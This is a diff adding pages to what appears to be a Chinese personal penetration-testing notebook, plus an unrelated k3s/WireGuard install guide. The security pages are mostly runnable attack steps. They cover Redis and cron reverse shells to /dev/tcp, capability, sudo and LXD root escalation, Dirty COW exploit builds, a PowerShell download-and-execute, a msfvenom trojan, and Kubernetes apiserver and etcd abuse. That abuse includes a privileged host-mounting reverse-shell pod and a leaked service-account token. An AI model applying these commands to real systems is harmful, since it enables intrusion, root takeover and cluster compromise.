# 生成密钥对
ssh-keygen -t rsa -f redis_key

# 连接 Redis
redis-cli -h target_ip

# 写入公钥内容为值(需换行)
set backup "\n\nssh-rsa AAAAB3Nza...你的公钥...== attacker@kali\n\n"

# 设置目标路径
config set dir /root/.ssh/
config set dbfilename "authorized_keys"

# 写入磁盘
save
+

然后即可通过私钥 SSH 登录目标主机,获得 root shell:

+
ssh -i redis_key root@target_ip
+
+

✅ 写入 Cron Job(执行反弹 shell)

+
# 写一个反弹 shell 到 Redis
set backup "\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/yourip/port 0>&1'\n"

# 修改目录
config set dir /var/spool/cron/
config set dbfilename root

# 执行写入
save
+

监听端口:

+
nc -lvvp port
+

一分钟后目标机器自动连接回来。

+

Capabilities 提权​

+

在 Linux 中,传统上只有 root 用户才能执行某些受限操作,如监听低端口、加载内核模块、执行挂载等。为细化权限控制,Linux 引入了 Capabilities(能力位) 概念,把原本 root 独有的权限拆分为若干小能力位,允许非 root 用户在保留最小权限的前提下执行特定操作。

+

攻击者若能发现某个二进制程序具备特殊 Capabilities(尤其是具备 cap_setuid, cap_setgid, cap_sys_admin 等),就可能通过它间接提权为 root。

+
+

查看 Capabilities

+

使用 getcap 命令可查看系统中具有 Capabilities 的可执行文件:

+
getcap -r / 2>/dev/null
+

输出示例:

+
/usr/bin/python3.11 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
+

说明 /usr/bin/python3.11 具有 cap_setuid 权限,可以设置用户UID。

+
+

关键 Capabilities 权限位说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Capabilities含义
cap_setuid允许进程更改其有效 UID(可用于提权)
cap_setgid允许更改 GID
cap_sys_admin类似 root 权限,可挂载、修改系统配置等
cap_dac_override绕过文件权限检查(类似 root 可读写任意文件)
cap_net_bind_service监听 1024 以下端口
+
+

提权利用场景(案例)

+

利用带有 cap_setuid+ep 的二进制提权

+

如果攻击者发现某程序(如 Python)具有 cap_setuid+ep 权限,可以创建一个 SUID shell,从而提权。

+

利用步骤:

+
# 检查是否具有 cap_setuid
getcap /usr/bin/python3.11
# 输出应为: /usr/bin/python3.11 = cap_setuid+ep

# 编写 Python 提权代码
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+

此时,攻击者将获得 root shell。

+
+

利用 cap_dac_override 绕过权限限制读取文件

+
# 若某二进制具有 cap_dac_override,可读取任意权限文件
/usr/bin/cat /etc/shadow
+
+

利用自编程程序执行提权

+

攻击者可将任意二进制设置 cap 权限(如 cap_setuid),实现提权:

+
# 生成一个C程序
cat > suid_shell.c <<EOF
#include <unistd.h>
int main() {
setuid(0); system("/bin/bash");
return 0;
}
EOF

# 编译
gcc suid_shell.c -o suid_shell

# 赋予cap_setuid
sudo setcap cap_setuid+ep ./suid_shell

# 执行即提权
./suid_shell
+
+

Sudo 提权​

+

sudo 提权 是指当用户可以通过 sudo 执行某些命令时,利用该命令的特性执行任意命令或逃逸到交互式 shell,从而提权为 root。关键点在于 sudo -l 列出的命令是否存在可利用点。

+

例如,当用户可执行如下命令时:

+
sudo vim
+

可以在 vim 中输入:

+
:!bash
+

即可弹出 root shell。

+

又如用户能执行 sudo less,也可以输入:

+
!bash
+

或当能执行 sudo python 时,直接输入:

+
import os
os.system("/bin/bash")
+

若能执行 sudo find,则可执行:

+
sudo find . -exec /bin/bash \;
+

例如sudo awk

+
ubuntu@VM-4-13-ubuntu:/$ sudo awk 'BEGIN {system("/bin/sh")}'
# whoami
root
#
+

若能执行 sudo cp 或其他文件操作命令,也可以用它们覆盖敏感文件如 /etc/sudoers 或 /etc/passwd,配合前述方法完成提权。

+

内核 提权​

+

内核提权 是通过利用 Linux 内核中的已知漏洞,运行本地漏洞利用代码(exploit)实现权限提升。常用方式是先用 uname -r 获取内核版本,再用 searchsploit 查找对应漏洞利用工具,最后下载编译执行完成提权。

+

操作示例:

+
uname -r
searchsploit linux kernel 5.4.0
+

假设搜索结果里出现了经典的 Dirty COW 漏洞利用(编号 44110),你可以:

+
searchsploit -m 44110
gcc 44110.c -o dirtycow
./dirtycow
+

执行后,若漏洞存在,程序会帮你将权限提升为 root。

+

类似的,还有 overlayfs、run_pipe等漏洞,也能用 searchsploit 找到对应代码,通过编译运行实现提权。

+
+

这种利用内核漏洞提权的方式适合目标系统内核版本较老,且未打补丁的场景,提权成功后可以拿到完整 root 权限。

+

脏牛 提权(CVE-2016-5195)​

+

脏牛是一个非常经典的内核提权漏洞,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复影响范围:Linux kernel>2.6.22 (released in 2007)的所有Linux系统,且低于以下版本:

+
Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

+

linux内核的内存子系统在处理私有映射时的写时复制(copy on write,COW)的中断方式里创建了条件竞争,该条件竞争可能运行非特权用户获得对只读内存映射的写入权限。写时复制是一种内存管理的优化技术,用于在多个进程共享同一个内存页的情况下避免内存冲突。当一个进程试图修改一个内存页时,操作系统会自动复制这个内存页,而不会受到当前进程修改的影响

+

利用方式

+

默认情况下,低权限会话是无法修改高权限文件,比如 /etc/passwd、/etc/shadow、/etc/group 等。脏牛漏洞的利用方式是:首先使用 mmap 函数申请虚拟内存,在虚拟内存上找到一个页面创建私有映射(以 /etc/group 为例)。由于此映射是私有的,因此可以随意对文件写入修改而不会影响原文件,然后向私有映射文件中写入内容,将当前用户添加至 sudo 组,但不是直接向 mmap 申请的虚拟映射中写入内容,而是向 Linux 中的一个特殊文件 /proc/self/mem 中写入。

+

mmap 函数是用来创建内存映射的函数。通过内存映射,可以将一段文件或其他对象映射到进程的地址空间,从而可以直接访问该对象。

+

proc/self/mem 文件是 Linux 的一个特殊文件,它允许程序直接访问当前进程的虚拟内存空间。通过读写 /proc/self/mem 文件,可以直接在虚拟内存中修改指定内存位置的数据。

+

写入 /proc/self/mem 完成后,内核需要在物理内存上寻找写入的位置,此时还未开始写入。并行运行两个线程,第一个线程的功能是写入物理内存,它包括两个操作,分别是定位到物理内存和写入物理内存。在定位物理内存位置时,内核发现物理内存中已经有了一个 /etc/group 文件,这时触发写时复制,内核准备在物理内存中找到位置创建私有映射的副本,然后写入。在写入之前,运行第二个线程,其功能是调用 madvise 函数,通知内核不再需要(MADV_DONTNEED)私有映射。这样,内核就有可能会被欺骗,认为程序写入的是原始文件。通过无限循环这两个线程,就有可能完成竞争条件,成功地写入原始文件

+

案例

+

首先下载exp,由于装了git,这里就直接clone了

+
git clone https://github.com/gbonacini/CVE-2016-5195.git
# 进入目录make生成可执行文件
cd CVE-2016-5195 && make
# 执行make好的文件,即可自动完成利用并提权
./dcow -s

+

Polkit 提权(CVE-2021-4034)​

+

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中

+

计划任务 提权​

+

**定时任务(cron job)**可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。常用命令如下:

+
    +
  • crontab -e 编辑计划任务
  • +
  • crontab -l 查看计划任务
  • +
  • crontab -r 删除目前的crontab
  • +
+

计划任务提权 是通过滥用系统中的定时任务(cron)来实现权限提升。若某些定时任务脚本由 root 用户运行,但其脚本路径或调用的二进制文件可被低权限用户修改,就可以插入恶意命令,等定时任务触发后以 root 权限执行,从而完成提权。

+

常见利用场景是 /etc/crontab 或 /etc/cron.d/* 中有如下内容:

+
* * * * * root /usr/local/bin/backup.sh
+

如果当前用户可以修改 /usr/local/bin/backup.sh,就可以写入如下内容:

+
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
+

等待 cron 自动执行后,即可使用:

+
/tmp/rootbash -p
+

获得 root shell。

+

这种提权方式通常需要结合:

+
find / -writable -type f 2>/dev/null
+

等命令寻找可写脚本,或使用 pspy 工具监听定时任务执行行为,是实战中非常常见的一种提权手段。

+

Docker 提权​

+

Docker 容器内逃逸提权 是指攻击者在容器内,通过利用宿主机与容器之间的接口或权限配置缺陷,从容器中突破隔离限制,获得宿主机权限。

+

常见逃逸方式如下:

+
    +
  • +

    挂载宿主机文件系统的容器(如 / 挂到容器中): +容器内可执行: +chroot /mnt +就可以访问宿主机的根目录。

    +
  • +
  • +

    /var/run/docker.sock 挂载到容器中: +攻击者可以通过 docker API 操作宿主机容器,创建挂载了 / 的新容器,从而实现宿主机 root 提权。

    +
  • +
  • +

    具有 CAP_SYS_ADMIN 等高权限的容器: +如果容器运行时加了 --cap-add=ALL 或 --privileged,即可利用内核接口(如挂载、加载模块)进行提权或逃逸。

    +
  • +
+
docker run --rm -it --privileged alpine
mount -t proc proc /proc
chroot /host
+
    +
  • 利用已知内核逃逸漏洞: +如果宿主机内核存在漏洞(如 Dirty COW、overlayfs),容器内可用本地提权 exploit 实现宿主机提权。
  • +
+

K8s 提权(CVE-2018-1002105)​

+

LXD 提权​

+

LXD(Linux Container Daemon)是一个用于管理 Linux 容器的工具。在默认配置或管理不当的情况下,攻击者可以利用 LXD 进行本地提权(Local Privilege Escalation),获取宿主机的 root 权限。

+
+

LXD 提权原理

+
    +
  • +

    (1)核心问题:特权容器(Privileged Containers):LXD 允许用户创建特权容器(security.privileged=true),这类容器会绕过 Linux 的用户命名空间隔离(User Namespace),导致容器内的 root 用户等同于宿主机的 root 用户。

    +
  • +
  • +

    (2)关键条件:当前用户在 lxd 用户组 / LXD 服务未正确配置安全策略(允许普通用户创建特权容器)

    +
  • +
  • +

    提权路径

    +
  • +
+
    +
  1. 用户通过 lxd 组权限与 LXD 守护进程通信
  2. +
  3. 创建特权容器并挂载宿主机文件系统
  4. +
  5. 在容器内修改宿主机敏感文件(如 /etc/passwd、/etc/shadow)或写入 SSH 密钥
  6. +
  7. 获得宿主机 root 权限
  8. +
+
+

实际提权案例演示

+
    +
  • 步骤 1:检查当前用户是否在 lxd 组
  • +
+
id
+

如果输出包含 lxd,则存在提权可能:

+
uid=1001(test) gid=1001(test) groups=1001(test),108(lxd)
+
    +
  • 步骤 2:创建特权容器并挂载宿主机 / 目录
  • +
+
# 初始化一个特权容器(使用Ubuntu镜像)
lxc init ubuntu:22.04 privesc -c security.privileged=true

# 将宿主机的根目录`/`挂载到容器的`/mnt/root`
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 启动容器
lxc start privesc

# 进入容器shell
lxc exec privesc bash
+
    +
  • 步骤 3:在容器内修改宿主机文件
  • +
+

容器的 /mnt/root 就是宿主机的 /,可以直接修改关键文件:

+

方法 1:直接修改 /etc/passwd,添加 root 权限用户

+
echo "hacker::0:0::/root:/bin/bash" >> /mnt/root/etc/passwd
+

然后,在宿主机上切换到 hacker 用户即可获得 root:

+
su hacker
+

方法 2:写入 SSH 公钥到 /root/.ssh/authorized_keys

+
mkdir -p /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/root/.ssh/authorized_keys
+

然后,直接 SSH 登录宿主机的 root 用户:

+
ssh root@localhost
+

方法 3:修改 /etc/sudoers 让当前用户免密提权

+
echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers
+

然后,在宿主机上执行 sudo su 即可获得 root。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html b/en/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html new file mode 100644 index 0000000..b3b984e --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html @@ -0,0 +1,83 @@ + + + + + +MSF提权 | wjlin0 + + + + + + + +

MSF提权

作者修订时间
wjlin02025-08-19 16:44:37
+

msf-般会有四种接口对外提供, msfconsole、 msfc、 msfgui以及 msfet,我们主要以 msfconsole来做讲解与演示。

+

1.msfconsole 基本使用命令​

+

启动: msfconsole

+

img

+

使用指南:help

+

img

+

基础命令

+
search ms17 #查找

use exploit/multi/handler #使用

info #查看信息

show exploits/payloads/options #显示可用信息

set options/payload #给相关对象赋值

exploit/run #执行

exploit #后台运行

back #返回上一级

sessions -i #查看当前可用会话

sessions -K #杀死所有活跃会话
+

2.模块​

+

exploit​

+

利用程序,针对漏洞、权限进行利用,是主要使用的模块

+

img

+

payload​

+

用于在目标系统中运行任意命令或者执行特定代码,主要用于shell获取

+

img

+

auxiliary​

+

该模块包含了扫描、嗅探、指纹识别、网络协议欺骗等相关功能模块

+

img

+

encode​

+

r该模块主要针对 exploit模块进行代码免杀,以逃过杀毒软件、防火墙、ids等安全防护机制的检测

+

img

+

3.实战 ms16-032提权​

+

1.查看当前权限、版本、ip等,发现是一个win7专业权限很低的用户​

+

img

+

img

+

img

+

2.远程加载sherlock查看当前版本漏洞信息并导入一个1.txt文件中​

+

powershell -nop -exec -bypass -c "IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.100/Sherlock.ps1'); Find-Allvulns" >1.txt

+

powershell -nop -exec -bypass -c "Import-Module Sherlock.ps1; Find-Allvulns" >1.txt

+

img

+

执行完成并返回一个1.txt,查看漏洞信息

+

img

+

发现版本是64位的暂不支持漏洞

+

3.我们使用msf做一个木马程序​

+

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.119.130 LPORT=4444 -f exe > 1.exe

+

参数说明:

+
    +
  1. -p payload
  2. +
  3. -e 编码方式
  4. +
  5. -i 编码次数
  6. +
  7. -b 在生成的程序中避免出现的值
  8. +
  9. LHOST,LPORT 监听上线的主机IP和端口
  10. +
  11. -f exe 生成EXE格式
  12. +
+

设置本地监听

+

msf6 > use exploit/multi/handler

+

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

+

img

+

上传之靶机web 运行 这里我们 ip 端口4443 设置错了 重新改一下 192.168.119.130:4443

+

前面的 exe文件也要重新生成

+

执行

+

img

+

查看一下权限 没问题版本权限很低

+

img

+

还是使用sherlock 查看 漏洞

+

powershell -exec -bypass -c "sherlock.ps1; Find-Allvulns" >2.txt

+

img

+

img

+

选择一个当前版本的漏洞使用

+

这里演示MS16_032的漏洞

+

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

+

设置payload session LHOST LPORT

+

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set payload windows/meterpreter/reverse_tcp

+

img

+

img

+

运行即可获得shell

+

img

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html b/en/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html new file mode 100644 index 0000000..5fc3fde --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html @@ -0,0 +1,110 @@ + + + + + +k3s安装 | wjlin0 + + + + + + + +

k3s安装

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:34:06
+

单云部署k3s

+

安装k3s​

+

由于默认k3s安装会安装traefik,而我用惯了ingress-nginx所以就移除了traefik的安装

+
# k3s v1.25+ 之后 flag –no-deploy 弃用,更改为 –disable,但安装前需要确认 rancher 支持的 k3s 版本范围,目前 v1.25+ 不在 rancher 支持范围内,需要使用环境变量 INSTALL_K3S_VERSION 指定安装版本
export INSTALL_K3S_EXEC="server --disable traefik"
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh -
sudo cp /etc/rancher/k3s/k3s.yaml $HOME/.kube/config
+

基于helm安装ingress-nginx​

+

安装helm

+
wget https://get.helm.sh/helm-v3.14.3-linux-amd64.tar.gz && tar -zxvf helm-v3.14.3-linux-amd64.tar.gz -C /tmp && mv /tmp/linux-amd64/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm
+

添加ingress-nginx 官方仓库

+
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update
+

获取 ingress-nginx

+
helm pull ingress-nginx/ingress-nginx
tar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # 注意您下的版本进行解压
cd ingress-nginx
+

修改国内镜像地址

+

修改controller的镜像地址

+

image-20240314125144515

+

无hostNetwork 修改

+
default:
.....
externalTrafficPolicy: "Local"
+

image-20240314185220229

+

多云部署k3s

+

WireGuard组网(内网隧道搭建)​

+
+

[!Tip]

+

由于买的国内厂商打折服务器,大部分情况下都无法在同一家厂商买到多台优惠服务器,此时想搭建 K3S 集群就需要走公网,直接通过K3S 的安装方式节点之间无法通信,因此需要使用 WireGuard来组网。

+
+

前提​

+

在搭建跨云的 k3s 集群前,需要先把 WireGuard 安装好,WireGuard 对内核有要求,要升级到 5.15.2-1.el7.elrepo.x86_64以上

+

并且开启IP转发

+
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf

echo "net.ipv4.conf.all.proxy_arp = 1" >> /etc/sysctl.conf

sysctl -p /etc/sysctl.conf
+

修改主机名称

+
hostnamectl  set-hostname k3s-xxx
+

安装​

+

安装 WireGuard

+
apt install wireguard
+

在所有主机上使用一下命令生成,公私钥(用于内网加密通讯使用)

+
wg genkey | tee privatekey | wg pubkey > publickey
+

密钥是配置到本机的,而公钥是配置到其它机器里的,结果示例如下:

+
cat privatekey publickey
EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA=
0ay8WfGOIHndWklSIVBqrsp5LDWxxxxxxxxxxxxxxQ=
+
然后编写配置文件,以供 wg-quick 使用

vim /etc/wireguard/wg0.conf
然后写入如下内容

[Interface]
PrivateKey = EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA= #(本机生成的私钥)
Address = 192.168.2.1
ListenPort = 5418

[Peer]
PublicKey = Node-1服务器的 publickey后续Node-1生成后再改
EndPoint = (Node-1公网IP):5418
AllowedIPs = 192.168.2.2(Node-1内网IP)/32
[Peer]
PublicKey = Node-2服务器的 publickey后续Node-2生成后再改
EndPoint = (Node-2公网IP):5418
AllowedIPs = 192.168.2.3(Node-2内网IP)/32

+

同理其他节点均使用这个

+

部署​

+
wg-quick up wg0
+

自动化配置​

+

系统重启后,WireGuard 创建的网卡设备就会丢失,WireGuard提供了自动化的脚本来解决这件事,在两台服务器都执行如下操作

+
systemctl enable wg-quick@wg0
+

使用上述命令生成 systemd 守护脚本,开机会自动运行 up 指令。

+

配置热重载​

+

wg-quick 并未提供重载相关的指令,但是提供了 strip 指令,可以将 conf 文件转换为 wg 指令可以识别的格式。

+
wg syncconf wg0 <(wg-quick strip wg0)
+

即可实现热重载。

+

完成 WireGuard 的安装配置以后,接下来就可以安装 k3s 的集群了。

+

部署server​

+
+

修改对应的外部ip $SERVER_IP -> 101.43.95.147 ,$SERVER_VIRTUAL_IP=192.168.2.1

+
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh |  INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-ip "$SERVER_VIRTUAL_IP" --node-external-ip="$SERVER_IP"   --flannel-backend=wireguard-native   --flannel-external-ip --flannel-iface wg0
+

部署agent​

+
+

修改对应的外部ip $AGENT_IP -> xx.xx.xx.xx $AGENT_VIRTUAL_IP

+
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh |  K3S_URL=https://101.43.95.147:6443 INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-external-ip="$AGENT_IP"  --node-ip $AGENT_VIRTUAL_IP --flannel-iface wg0
+

安装ingres-nginx​

+
+

安装方式与k8s保持一致

+
+
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update
helm pull ingress-nginx/ingress-nginx
tar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # 注意您下的版本进行解压
cd ingress-nginx
vim values.yaml
+
+

修改国内镜像地址

+
+

image-20240315095558135

+

image-20240315095625640

+

修改hostNetwork

+

image-20240315095709258

+

修改dnsPolicy

+

image-20240315095733235

+
helm install -n ingress-nginx ingress-nginx/ingress-nginx .
+

Referer

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html new file mode 100644 index 0000000..dfdf827 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html @@ -0,0 +1,30 @@ + + + + + +内网渗透 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html new file mode 100644 index 0000000..0a27dc2 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html @@ -0,0 +1,68 @@ + + + + + +Apiserver | wjlin0 + + + + + + + +

Apiserver

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:33:30
+

API 服务器是 Kubernetes 控制平面的组件, 该组件负责公开了 Kubernetes API,负责处理接受请求的工作。 API 服务器是 Kubernetes 控制平面的前端。Kubernetes API 服务器的主要实现是 kube-apiserver。 kube-apiserver 设计上考虑了水平扩缩,也就是说,它可通过部署多个实例来进行扩缩。 你可以运行 kube-apiserver 的多个实例,并在这些实例之间平衡流量。

+

以上是k8s官方对apiserver的解释,我们可以看到 apiserver 其实就是为了统一方便管理。 部署过k8s都知道调用apiserver的命令行工具就是kubectl,例如在主机执行 kubectl get pods -A

+

image-20230707223132174

+

其实就是可以理解为 调用 api /api/v1/pods/

+

image-20230707223255087

+

在 kube-apiserver 的 启动参数目前官方文档中没有对这个参数的解释了中 存在两个参数 insecure、insecure-bind-address 该参数可将未授权的端口暴露出来

+
kube-apiserver --h
+

image-20230707234104496

+

或者管理员配置了匿名访问,例如

+
[root@k8s-master01 k8s.yaml]# cat rbac.yaml 
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
+

kubectl利用​

+

安装 kubectl

+
curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # 安装指定版本
curl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows
+

制作恶意容器``shell.yaml`

+
# shell.yaml
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
# namespace: nginx # 不指定则为默认空间 default
spec:
containers:
- name: my-container # 容器名称
image: nginx # 镜像
command: ["tail", "-f", "/dev/null"] # 不关闭进程
securityContext:
privileged: true # 特权模式
volumeMounts: # 挂载数据卷 / -> /hosts
- name: root-volume
mountPath: /hosts
volumes:
- name: root-volume
hostPath:
path: /
nodeName: k8s-master01 # 选择宿主机 可以不选择 保持默认
+

启动、并查看

+
kubectl -s http://192.168.3.200:8080 apply -f shell.yaml
kubectl -s http://192.168.3.200:8080 get po -A
+

image-20230707230304985

+

进入容器

+
kubectl -s http://192.168.3.200:8080 exec -it <容器名称> -n <命名空间> -- bash 
root@shell-pod:/# whoami
+

image-20230707230045674

+

Api 利用​

+

制作恶意容器文件

+
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "re-shell-pod"
},
"spec": {
"containers": [
{
"name": "re-shell-pod",
"image": "nginx",
"command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],
"securityContext": {
"privileged": true
},
"volumeMounts": [
{
"name": "root-volume",
"mountPath": "/hosts"
}
]
}
],
"volumes": [
{
"name": "root-volume",
"hostPath": {
"path": "/"
}
}
],
"nodeName": "k8s-master01"
}
}
+

新建恶意容器

+
curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<命名空间>/pods
+

image-20230707231610327

+

查看状态

+
curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status
+

image-20230707232122633

+

监听反弹shell端口

+

image-20230707232204596

+

结论​

+

​ 对于这类利用仅仅在于 apiserver 未配置认证的清空下,而目前的环境不太可能将不安全的端口爆破出来,而且最新版本也对这两个参数也没有再解释很难去利用未授权

+
+

更多利用方式看官方文档即可 Kubernetes API

+
+

​

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html new file mode 100644 index 0000000..e556aea --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html @@ -0,0 +1,49 @@ + + + + + +etcd | wjlin0 + + + + + + + +

etcd

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:33:16
+

etcd 是一种分布式键值存储,提供了一种可靠的方式来管理分布式系统的协调状态。etcd 于 2013 年 6 月由 CoreOS(自 2018 年起成为 Red Hat 的一部分)首次发布。自 2014 年在 Kubernetes 中采用以来,etcd 已成为 Kubernetes 集群管理软件设计的基本组成部分,并且 etcd 社区呈指数级增长。etcd 目前已在多家公司的生产环境中使用,包括 AWS、Google Cloud Platform、Azure 等大型云提供商环境以及其他本地 Kubernetes 实施。

+

再 kubernetes 中,默认使用etcd v3 来存储数据,如果我们能够控制etcd服务, 也就拥有了整个集群的控制权

+
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl getexport ETCDCTL_API=3
export ETCD
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl get / --prefix --keys-only
+

image-20230708004633573

+

利用​

+

etcd 也存在 api 和 命令行两种模式,这里以 etcdctl 利用为主

+

以下结果即存在未授权

+
curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
# 或者
curl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
+

那么可以通过etcdctl 命令行工具运行查询token键

+
curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz 
tar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl
etcdctl -h
+

image-20230708005803211

+

获取所有带token键

+
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows
+

image-20230708010507545

+

获取token值

+

​ image-20230708010605095

+

最后通过kubectl 利用即可

+
kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify
+

image-20230708013804383

